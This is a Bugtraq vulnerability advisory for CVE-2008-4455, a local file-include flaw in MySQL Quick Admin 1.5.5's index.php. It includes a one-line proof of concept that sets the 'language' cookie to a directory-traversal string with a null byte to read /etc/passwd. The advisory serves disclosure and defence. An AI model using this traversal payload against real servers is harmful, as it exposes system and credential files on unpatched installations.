MySQL Quick Admin 'index.php' Local File Include Vulnerability

Bugtraq ID:	31517
Class:	Input Validation Error
CVE:	CVE-2008-4455
Remote:	Yes
Local:	No
Published:	Oct 01 2008 12:00AM
Updated:	May 07 2015 05:22PM
Credit:	JosS
Vulnerable:	EKINdesigns MySQL Quick Admin 1.5.5
Not Vulnerable:

MySQL Quick Admin 'index.php' Local File Include Vulnerability

MySQL Quick Admin is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to view local files and execute local scripts within the context of the webserver process.

MySQL Quick Admin 1.5.5 is vulnerable; other versions may also be affected.

MySQL Quick Admin 'index.php' Local File Include Vulnerability

Attackers can exploit this issue via a browser.

The following example code is available:

javascript:document.cookie="language=../../../../../../../../../../etc/passwd%00; path=/";

MySQL Quick Admin 'index.php' Local File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

MySQL Quick Admin 'index.php' Local File Include Vulnerability

References:

• MySQL Quick Admin Homepage (EKINdesigns)